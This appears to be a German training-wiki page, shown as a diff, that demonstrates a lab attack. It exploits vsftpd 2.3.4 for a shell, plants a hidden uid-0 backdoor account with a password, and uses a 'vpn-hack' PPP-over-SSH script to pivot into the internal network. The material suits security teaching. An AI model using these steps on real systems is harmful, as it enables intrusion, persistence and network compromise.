Exemplarischer Angriff: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 31: Zeile 31:
 
=Angreifer=
 
=Angreifer=
 
==vpn-gateway==
 
==vpn-gateway==
*/usr/local/sbin/vpn-hack
+
*./bin/vpn-hack
 
<syntaxhighlight lang="bash">
 
<syntaxhighlight lang="bash">
 
#!/bin/bash
 
#!/bin/bash
LOG="/var/log/vpn-hack.log"
+
REMOTE_IP="$1"
REMOTE_IP="/tmp/remote-ip"
 
vpn_hack ()  {
 
OKT=$(cat $REMOTE_IP | cut -f 1-3 -d .)
 
rm $REMOTE_IP
 
 
LOCAL_NET=10.86.0.0/16
 
LOCAL_NET=10.86.0.0/16
REMOTE_NET=${OKT}.0/24
+
REMOTE_NET="$2"
 
########
 
########
 
PATH=/usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/bin/X11/:
 
PATH=/usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/bin/X11/:
ADD_SNAT="/sbin/iptables -t nat -A POSTROUTING -s $LOCAL_NET -j MASQUERADE -o eth0"
+
ADD_SNAT="iptables -t nat -A POSTROUTING -s 172.29.29.2 -j MASQUERADE -o eth0"
FLUSH_SNAT="/sbin/iptables -t nat -F"
+
FLUSH_SNAT="iptables -t nat -F"
 
+
     echo  "Starting vpn to localhost -p 9922: "  
    date >> $LOG
+
     pppd updetach noauth passive pty "ssh -P ${REMOTE_IP} -p 22 -o Batchmode=yes pppd nodetach notty noauth" ipparam vpn 172.29.29.2:172.29.29.1  
    echo $OKT >> $LOG
+
     route  add -net ${REMOTE_NET} gw 172.29.29.1  
     echo  "Starting vpn to localhost -p 9922: " >> $LOG
+
     ssh -P localhost -p 9922  ${FLUSH_SNAT}  
     pppd updetach noauth passive pty "ssh -P localhost -p 9922 -o Batchmode=yes pppd nodetach notty noauth" ipparam vpn 172.29.29.3:172.29.29.1 >> $LOG
+
     ssh -P localhost -p 9922  ${ADD_SNAT}  
    ssh -P localhost -p 9922  route  add -net ${LOCAL_NET} gw 172.29.29.3 >> $LOG
 
     route  add -net ${REMOTE_NET} gw 172.29.29.1 >> $LOG
 
     ssh -P localhost -p 9922  ${FLUSH_SNAT} >> $LOG
 
     ssh -P localhost -p 9922  ${ADD_SNAT} >> $LOG
 
 
 
}
 
 
 
if test -f $REMOTE_IP
 
then
 
vpn_hack
 
fi
 
 
</syntaxhighlight>
 
</syntaxhighlight>

Version vom 7. Oktober 2021, 15:23 Uhr

Angreifer

Scan

  • nmap -sV 10.80.100.105 -p 21
Starting Nmap 7.80 ( https://nmap.org ) at 2021-10-07 16:56 CEST
Nmap scan report for 10.80.100.105
Host is up (0.00056s latency).
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4
Service Info: OS: Unix

Nach Exploit googlen

vsftpd 2.3 4 exploit-db

Exploit finden

Exploit ausführen

  • python vsftp.py 10.80.100.105
Success, shell opened
Send `exit` to quit shell

Opfer

Läuft ssh?

  • netstat -lntp | grep 22
tcp6  0      0 :::22   :::*  LISTEN      4360/sshd

User anlegen

  • useradd -m -o -u 0 -s /bin/bash -d /var/www www
  • passwd www
Enter new UNIX password: www2www
Retype new UNIX password: www2www
passwd: password updated successfully

VPN einrichten um Zugriff zum Netz zu erlangen

  • apt-get install ppp

Angreifer

vpn-gateway

  • ./bin/vpn-hack
#!/bin/bash
REMOTE_IP="$1"
LOCAL_NET=10.86.0.0/16
REMOTE_NET="$2"
########
PATH=/usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/bin/X11/:
ADD_SNAT="iptables -t nat -A POSTROUTING -s 172.29.29.2 -j MASQUERADE -o eth0"
FLUSH_SNAT="iptables -t nat -F"
     echo  "Starting vpn to localhost -p 9922: " 
     pppd updetach noauth passive pty "ssh -P ${REMOTE_IP} -p 22  -o Batchmode=yes pppd nodetach notty noauth" ipparam vpn 172.29.29.2:172.29.29.1 
     route  add -net ${REMOTE_NET} gw 172.29.29.1 
     ssh -P localhost -p 9922  ${FLUSH_SNAT} 
     ssh -P localhost -p 9922  ${ADD_SNAT}